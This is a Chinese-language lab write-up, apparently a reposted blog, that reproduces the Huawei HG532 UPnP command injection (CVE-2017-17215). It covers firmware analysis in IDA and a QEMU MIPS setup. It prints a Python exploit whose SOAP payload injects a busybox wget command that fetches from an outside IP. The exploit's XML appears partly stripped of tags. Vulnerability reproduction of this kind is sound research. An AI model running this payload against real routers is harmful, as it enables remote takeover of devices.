华为HG532远程命令执行漏洞
Posted Neil-Yale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了华为HG532远程命令执行漏洞相关的知识,希望对你有一定的参考价值。
根据check point的报告(https://research.checkpoint.com/good-zero-day-skiddie/)该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
先看看报告的关键信息
分析upnp描述信息后,发现该设备支持名为DeviceUpgrade的一种服务类型
设备可以通过这种服务更新固件,具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求,请求中包含NewStatusURL及NewDownloadURL两个元素。远程管理员可以通过该漏洞在设备上执行任意命令 将shell元字符 注入NewStatusURL以及NewDownloadURL元素中。
我们将固件中负责 UPnP 服务的 upnp 程序用 IDA来调试
Strings window中ctrl+f进行查找newstatus
双击来到ida view-a
交叉引用
关键的地方如下所示
流程大概是这样的:
程序通过ATP_XML_GetChildNodeByName函数获取xml中的节点,并且未经过检查就直接与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -拼接,然后使用system函数进行执行。
那么就有利用思路了:
首先在输入单引号将前面的字符串闭合,然后再注入相应的执行命令即可,如需要执行whoami命令,则需要做的就是构造’;whoami;节点即可。通过ATP_XML_GetChildNodeByName函数处理后,该节点字符串与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -拼接得到upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r ';whoami; -d -,然后执行system调用,实现注入。
这样exp就好写了,exp里要执行的是wget
import requests
headers = {
“Authorization”: “Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669”
}
data = ‘’’<?xml version="1.0" ?>
<s:Envelope xmlns:s=“http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”>
<s:Body><u:Upgrade xmlns:u=“urn:schemas-upnp-org:service:WANPPPConnection:1”>
;/bin/busybox wget -g 98.168.241.128 -l /tmp/1 -r /1;
HUAWEIUPNP
</u:Upgrade>
</s:Body>
</s:Envelope>
‘’’
待会儿我们复现时会用到这个exp。
。
接下来我们进行复现
用到三个文件:
router.rar
debian_squeeze_mips_standard.qcow2
vmlinux-2.6.32-5-4kc-malta
第一个是华为的路由器文件,后两个是debian mips qemu镜像
我们先解压路由器文件
bin文件就是我们需要进一步使用binwalk提取的
命令执行后多了一个文件夹
进入如图所示的路径
file看看upnp,可以知道是mips大端序32位可执行文件
在前面的漏洞报告中我们看到有些关键字:ctrlt,deviceupgrade等,以及37215(upnp端口)我们使用这些关键字来搜索看看有哪些文件
因为漏洞报告中的exp需要我们与路由器进行通信,所以我们还需要执行以下命令给qemu模拟环境进行网络配置
网络接口配置文件应修改如图
qemu的网络接口启动文件修改如图
赋予权限
重启网络
关闭ens33,启动br0
回到之前的文件夹下,执行下面的命令,启动qemu
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append “root=/dev/sda1 console=tty0” -net nic,macaddr=00:16:3e:00:00:01 -net tap
可以看到qemu正在启动
输入root/root
输入ifconfig注意到ip为192.168.1.107,网卡对应的为eth1
注意,如果你在操作的时候没有这一步,可以到配置文件中设置
将红色的地方改为eth1即可
回到shell后输入ifup eth1即可
我们将前面解压出的固件文件系统使用scp拷贝到qemu环境
scp –r 文件系统路径 qemu路径
由于qemu速度较慢,不方便,我们在ubuntu上ssh连过去操作
查看是否拷贝过来了
前面我们进行关键字搜索的时候得到了两个文件/upnp,/mic
接下来尝试运行
无法运行,这种情况我们之前的实验中也碰到过,是因为缺少so文件
我们切换根目录到路由器文件系统
再次执行
在ubuntu这边测试下看看37215段端口开了没有
开了
前面的exp我这里写到了exp.py
需要注意
第一处的ip改为qemu的ip,第二处的ip改为ubuntu的ip
监听80端口
另开一个终端执行我们的exp
发现监听端口的那个终端收到了发来的wget请求包
说明漏洞利用成功。
。
参考:
- https://research.checkpoint.com/good-zero-day-skiddie/
以上是关于华为HG532远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章
华为路由器远程命令执行漏洞复现(CVE-2017-17215)
华为路由器远程命令执行漏洞复现(CVE-2017-17215)